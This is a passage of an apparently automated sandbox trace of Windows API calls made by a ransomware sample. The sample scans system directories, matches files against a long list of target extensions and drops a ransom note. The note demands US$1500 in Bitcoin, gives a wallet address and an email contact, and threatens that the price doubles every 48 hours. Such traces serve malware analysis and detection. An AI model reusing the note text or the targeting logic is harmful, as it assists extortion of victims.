(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.java") returned 0 [0112.149] lstrlenA (lpString="*.java") returned 6 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.asm") returned 0 [0112.149] lstrlenA (lpString="*.asm") returned 5 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.pfx") returned 0 [0112.149] lstrlenA (lpString="*.pfx") returned 5 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.pem") returned 0 [0112.149] lstrlenA (lpString="*.pem") returned 5 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.p12") returned 0 [0112.150] lstrlenA (lpString="*.p12") returned 5 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.gpg") returned 0 [0112.150] lstrlenA (lpString="*.gpg") returned 5 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.vsd") returned 0 [0112.150] lstrlenA (lpString="*.vsd") returned 5 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.odg") returned 0 [0112.150] lstrlenA (lpString="*.odg") returned 5 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.raw") returned 0 [0112.150] lstrlenA (lpString="*.raw") returned 5 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.nef") returned 0 [0112.150] lstrlenA (lpString="*.nef") returned 5 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.svg") returned 0 [0112.150] lstrlenA (lpString="*.svg") returned 5 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.psd") returned 0 [0112.150] lstrlenA (lpString="*.psd") returned 5 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.vmx") returned 0 [0112.150] lstrlenA (lpString="*.vmx") returned 5 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.vmdk") returned 0 [0112.150] lstrlenA (lpString="*.vmdk") returned 6 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.vdi") returned 0 [0112.150] lstrlenA (lpString="*.vdi") returned 5 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.lay6") returned 0 [0112.150] lstrlenA (lpString="*.lay6") returned 6 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.mpeg") returned 0 [0112.150] lstrlenA (lpString="*.mpeg") returned 6 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.djvu") returned 0 [0112.150] lstrlenA (lpString="*.djvu") returned 6 [0112.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.tiff") returned 0 [0112.151] lstrlenA (lpString="*.tiff") returned 6 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.backup") returned 0 [0112.151] lstrlenA (lpString="*.backup") returned 8 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.pdf") returned 0 [0112.151] lstrlenA (lpString="*.pdf") returned 5 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.cert") returned 0 [0112.151] lstrlenA (lpString="*.cert") returned 6 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.docm") returned 0 [0112.151] lstrlenA (lpString="*.docm") returned 6 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.xlsm") returned 0 [0112.151] lstrlenA (lpString="*.xlsm") returned 6 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.dwg") returned 0 [0112.151] lstrlenA (lpString="*.dwg") returned 5 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.nd") returned 0 [0112.151] lstrlenA (lpString="*.nd") returned 4 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.tlg") returned 0 [0112.151] lstrlenA (lpString="*.tlg") returned 5 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.lgb") returned 0 [0112.151] lstrlenA (lpString="*.lgb") returned 5 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.mov") returned 0 [0112.151] lstrlenA (lpString="*.mov") returned 5 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.xdw") returned 0 [0112.151] lstrlenA (lpString="*.xdw") returned 5 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.ods") returned 0 [0112.151] lstrlenA (lpString="*.ods") returned 5 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.wav") returned 0 [0112.151] lstrlenA (lpString="*.wav") returned 5 [0112.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.mp3") returned 0 [0112.151] lstrlenA (lpString="*.mp3") returned 5 [0112.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.aiff") returned 0 [0112.152] lstrlenA (lpString="*.aiff") returned 6 [0112.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.flac") returned 0 [0112.152] lstrlenA (lpString="*.flac") returned 6 [0112.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.m4a") returned 0 [0112.152] lstrlenA (lpString="*.m4a") returned 5 [0112.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.csv") returned 0 [0112.152] lstrlenA (lpString="*.csv") returned 5 [0112.152] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19c11a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb19c11a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb19c11a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x4d800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Royale.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0112.152] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.152] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a335c2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1a335c2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb1a335c2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="c462be068987b2b4fac3a700f265fc77", cAlternateFileName="C462BE~1")) returned 0 [0112.152] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.152] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8eed44e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8eed44e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8eed44e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationUI", cAlternateFileName="PRESEN~4")) returned 1 [0112.152] lstrcmpA (lpString1=".", lpString2="PresentationUI") returned -1 [0112.152] lstrcmpA (lpString1="..", lpString2="PresentationUI") returned -1 [0112.152] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.152] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="PresentationUI" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI" [0112.152] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI") returned 61 [0112.152] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8eed44e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8eed44e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8eed44e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.153] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.153] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8eed44e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8eed44e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8eed44e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.153] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.153] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.153] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8eed44e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8eed44e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8eed44e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d7c71f43e6d6e92221717345e6156044", cAlternateFileName="D7C71F~1")) returned 1 [0112.153] lstrcmpA (lpString1=".", lpString2="d7c71f43e6d6e92221717345e6156044") returned -1 [0112.153] lstrcmpA (lpString1="..", lpString2="d7c71f43e6d6e92221717345e6156044") returned -1 [0112.153] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\*.*") returned="*.*" [0112.153] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\", lpString2="d7c71f43e6d6e92221717345e6156044" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044" [0112.153] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044") returned 94 [0112.153] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8eed44e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8eed44e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8eed44e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.153] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.153] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8eed44e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8eed44e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8eed44e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.153] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.153] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.153] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee15e02, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ee15e02, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ee3bf63, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x203200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationUI.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0112.153] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.153] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationUI.ni.dll") returned -1 [0112.154] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationUI.ni.dll") returned -1 [0112.154] lstrcmpiA (lpString1="", lpString2="PresentationUI.ni.dll") returned -1 [0112.154] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\*.*") returned="*.*" [0112.154] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\" [0112.154] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\") returned="" [0112.154] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\HOW TO DECRYPT FILES.txt" [0112.154] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationui\\d7c71f43e6d6e92221717345e6156044\\how to decrypt files.txt")) returned 0xffffffff [0112.154] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationui\\d7c71f43e6d6e92221717345e6156044\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.155] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.155] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.156] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.157] CloseHandle (hObject=0x90) returned 1 [0112.157] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\", lpString2="PresentationUI.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll" [0112.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.ems") returned 0 [0112.157] lstrlenA (lpString="*.ems") returned 5 [0112.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.db") returned 0 [0112.157] lstrlenA (lpString="*.db") returned 4 [0112.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.dbf") returned 0 [0112.157] lstrlenA (lpString="*.dbf") returned 5 [0112.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.myox") returned 0 [0112.157] lstrlenA (lpString="*.myox") returned 6 [0112.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.myo") returned 0 [0112.157] lstrlenA (lpString="*.myo") returned 5 [0112.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.qbw") returned 0 [0112.157] lstrlenA (lpString="*.qbw") returned 5 [0112.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.qbb") returned 0 [0112.157] lstrlenA (lpString="*.qbb") returned 5 [0112.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.qbm") returned 0 [0112.157] lstrlenA (lpString="*.qbm") returned 5 [0112.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.qbo") returned 0 [0112.157] lstrlenA (lpString="*.qbo") returned 5 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.qbx") returned 0 [0112.158] lstrlenA (lpString="*.qbx") returned 5 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.qba") returned 0 [0112.158] lstrlenA (lpString="*.qba") returned 5 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.qby") returned 0 [0112.158] lstrlenA (lpString="*.qby") returned 5 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.qbj") returned 0 [0112.158] lstrlenA (lpString="*.qbj") returned 5 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.ofx") returned 0 [0112.158] lstrlenA (lpString="*.ofx") returned 5 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.qif") returned 0 [0112.158] lstrlenA (lpString="*.qif") returned 5 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.mye") returned 0 [0112.158] lstrlenA (lpString="*.mye") returned 5 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.mbox") returned 0 [0112.158] lstrlenA (lpString="*.mbox") returned 6 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.eml") returned 0 [0112.158] lstrlenA (lpString="*.eml") returned 5 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.pst") returned 0 [0112.158] lstrlenA (lpString="*.pst") returned 5 [0112.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.ost") returned 0 [0112.158] lstrlenA (lpString="*.ost") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.idx") returned 0 [0112.159] lstrlenA (lpString="*.idx") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.dbx") returned 0 [0112.159] lstrlenA (lpString="*.dbx") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", 